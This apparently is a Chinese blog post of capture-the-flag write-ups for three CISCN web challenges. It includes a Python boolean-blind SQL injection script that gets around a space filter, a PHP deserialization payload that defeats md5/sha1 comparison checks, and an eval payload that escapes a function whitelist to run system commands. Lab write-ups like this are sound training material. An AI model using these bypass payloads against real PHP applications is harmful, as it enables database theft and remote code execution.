nssctf

CISCN

CISCN

[CISCN 2019华北Day2]Web1

alt text
这道出题人还挺好的,给出了表名和列名

尝试了一下输入字母的话没用,但输入1或2的话,回显不同

那就可以确定是布尔盲注了

先尝试了一下,发现过滤了空格
如果过滤了空格的话,可以使用()绕过

那就好办了
直接上脚本

import requests

url = "http://node4.anna.nssctf.cn:28487/index.php"
data = {'id': ''}
flag = ''

for i in range(1, 46):
    start = 32
    end = 127
    while start < end:
        mid = (start + end) >> 1
        payload = "select(flag)from(flag)"
        data['id'] = f"if(ascii(substr(({payload}),{i},1))>{mid},1,2)"
        res = requests.post(url=url, data=data)
        if "Hello, glzjin wants a girlfriend." in res.text:
            start = mid + 1
        else:
            end = mid
    flag = flag + chr(start)
    print(flag)

[CISCN 2023 华北]ez_date

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

这里用md5的强比较,但禁止使用数组绕过,且a不能等于b,a、b的md5和sha1的值要强相关相等

!==是强比较,md5和sha1转化时数字和字符是一样的值,如:1和'1'

这里还需要绕过date函数

在 PHP 中,date() 函数用于将日期和时间格式化为指定的字符串。以下是常用的日期和时间格式化字符:

d:表示两位数的月份中的天数,例如 01 到 31。
D:表示缩写的星期几,例如 Mon 到 Sun。
j:表示月份中的天数,没有前导零,例如 1 到 31。
l:表示星期几的完整名称,例如 Monday 到 Sunday。
F:表示月份的完整名称,例如 January 到 December。
m:表示两位数的月份,例如 01 到 12。
M:表示缩写的月份名称,例如 Jan 到 Dec。
n:表示不带前导零的月份,例如 1 到 12。
Y:表示四位数的年份,例如 1999 或 2021。
y:表示两位数的年份,例如 99 或 21。
H:表示24小时制的小时数,例如 00 到 23。
h:表示12小时制的小时数,例如 01 到 12。
i:表示分钟数,例如 00 到 59。
s:表示秒数,例如 00 到 59。
a:表示小写的上午或下午标记,例如 am 或 pm。
A:表示大写的上午或下午标记,例如 AM 或 PM。

不知道flag在哪里,看了别人的wp发现就在/flag
因为date函数会将a和l变为其他的,所以可以将其转义就行

pop

<?php
class date{
    public $a=1;
    public $b='1';
    public $file='/f\l\a\g';
}
$c=new date;
echo base64_encode(serialize($c));

[CISCN 2019初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

构造

c=system("cat /flag")

但是如何绕过函数和引号的限制呢?引号其实可以删掉,删掉引号命令还是可以执行。对于函数,可以利用动态函数的性质,即字符串做函数名,加上括号即可被当作函数执行:

c=($_GET[a])($_GET[b])

在上面的例子中,如果a=syetem,b=cat /flag,即可执行system(cat /flag)。

完整的:

c=($_GET[a])($_GET[b])&a=system&b=cat /flag

由于参数只检查c,所以a和b可以随便操作,接下来问题的关键就是,如何绕过c的检查。

白名单用来检测c中出现的变量名,因此a,b不能出现,但是可以用白名单中的值,如最短的pi

GET中括号和和GET本身都不能出现,中括号可以用{}替代,因此这道题的核心就是构造_GET

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

因为这里过滤了引号"且
因为hex2bin(5f474554)的5f474554没有加引号,不是16进制字符串

hex2bin() 函数用于将十六进制表示的字符串转换为二进制字符串

所以需要dechex

综上
payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php

你可能也会喜欢...

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注